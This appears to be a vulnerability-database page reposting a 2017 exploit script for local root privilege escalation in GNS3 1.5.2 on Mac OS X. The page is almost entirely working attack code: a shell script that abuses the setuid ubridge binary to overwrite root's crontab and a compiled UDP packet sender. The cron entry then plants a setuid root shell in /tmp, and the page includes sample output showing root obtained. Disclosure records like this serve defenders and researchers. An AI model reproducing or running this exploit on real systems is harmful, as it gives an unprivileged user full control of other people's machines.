Lucene search
K

GNS3 Mac OS-X 1.5.2 ubridge Privilege Escalation

🗓️ 14 Apr 2017 00:00:00Reported by Hacker FantasticType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 50 Views

GNS3 Mac OS-X 1.5.2 ubridge Privilege Escalation - exploit using ubridge flaw for local root LP

Code
`#!/bin/sh  
# GNS-3 Mac OS-X LPE local root exploit  
# =====================================  
# GNS-3 on OS-X bundles the "ubridge" binary as a setuid  
# root file. This file can be used to read arbitary files  
# using "-f" arguement but also as it runs as root can also  
# write arbitrary files with "pcap_file" arguement within  
# configuration ini file. It is possible to abuse this utility  
# to also write arbitary contents by bridging a UDP tunnel  
# and writing to disk. We can exploit these mishaps to gain  
# root privileges on a host that has GNS-3 installed by  
# writing a malicious crontab entry and escalating privileges.  
# This exploit takes advantage of this flaw to overwrite  
# root crontab with our own entry and to spawn a root shell.  
# Don't forget to clean up in /usr/lib/spool/tabs and /tmp  
# after running. Tested on GNS-3 version 1.5.2. The root user  
# must have a crontab installed (even an empty one set with  
# crontab -e) or the box rebooted after first attempt to get   
# commands to execute with this cron method.  
#  
# $ ./gns3super-osx.sh   
# [+] GNS-3 Mac OS-X local root LPE exploit 0day  
# [-] creating ubridge.ini file...  
# [-] Launching ubridge..  
# [-] Preparing cron script...  
# Parsing prdelka  
# Creating UDP tunnel 40000:127.0.0.1:40001  
# Creating UDP tunnel 50000:127.0.0.1:50001  
# Starting packet capture to /usr/lib/cron/tabs/root with protocol (null)  
# unknown link type (null), assuming Ethernet.  
# Capturing to file '/usr/lib/cron/tabs/root'  
# Source NIO listener thread for prdelka has started  
# Destination NIO listener thread for prdelka has started  
# [-] making magic packet client...  
# [-] packet fired  
# [-] Waiting a minute for the exploit magic...  
# -rwsr-xr-x 1 root wheel 1377872 Apr 12 23:32 /tmp/pdkhax  
# [-] Got Root?  
# # id  
# uid=501(hackerfantastic) gid=20(staff) euid=0(root)  
#   
# -- Hacker Fantastic (www.myhackerhouse.com)  
echo "[+] GNS-3 Mac OS-X local root LPE exploit 0day"  
echo "[-] creating ubridge.ini file..."  
cat > ubridge.ini << EOF  
[prdelka]  
source_udp = 40000:127.0.0.1:40001  
destination_udp = 50000:127.0.0.1:50001  
pcap_file = "/usr/lib/cron/tabs/root"  
EOF  
echo "[-] Launching ubridge.."  
/Applications/GNS3.app/Contents/Resources/ubridge &  
echo "[-] Preparing cron script..."  
cat > /tmp/pdk.sh << EOF  
cp /bin/ksh /tmp/pdkhax  
chown 0:0 /tmp/pdkhax  
chmod 4755 /tmp/pdkhax  
EOF  
chmod 755 /tmp/pdk.sh  
echo "[-] making magic packet client..."  
cat > udphax.c << EOF  
#include <stdio.h>   
#include <string.h>   
#include <stdlib.h>   
#include <arpa/inet.h>  
#include <sys/socket.h>  
#include <sys/types.h>  
  
int main(int argc, char* argv[]) {  
struct sockaddr_in si_other, srcaddr;  
int s, i, slen=sizeof(si_other);  
char* pkt = "\n* * * * * /tmp/pdk.sh\n\n";  
s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);  
memset((char *) &si_other, 0, sizeof(si_other));  
si_other.sin_family = AF_INET;  
si_other.sin_port = htons(50000);  
inet_aton("127.0.0.1", &si_other.sin_addr);  
srcaddr.sin_family = AF_INET;  
srcaddr.sin_addr.s_addr = htonl(INADDR_ANY);  
srcaddr.sin_port = htons(50001);  
bind(s,(struct sockaddr *) &srcaddr, sizeof(srcaddr));  
sendto(s,pkt,strlen(pkt),0,(struct sockaddr *)&si_other, slen);  
printf("[-] packet fired\n");  
}  
EOF  
gcc udphax.c -o udphax  
./udphax  
echo "[-] Waiting a minute for the exploit magic..."  
rm -rf udphax* ubridge.ini  
pkill ubridge  
sleep 60  
rm -rf /tmp/pdk.sh  
ls -al /tmp/pdkhax  
echo "[-] Got Root?"  
/tmp/pdkhax  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Apr 2017 00:00Current
0.4Low risk
Vulners AI Score0.4
50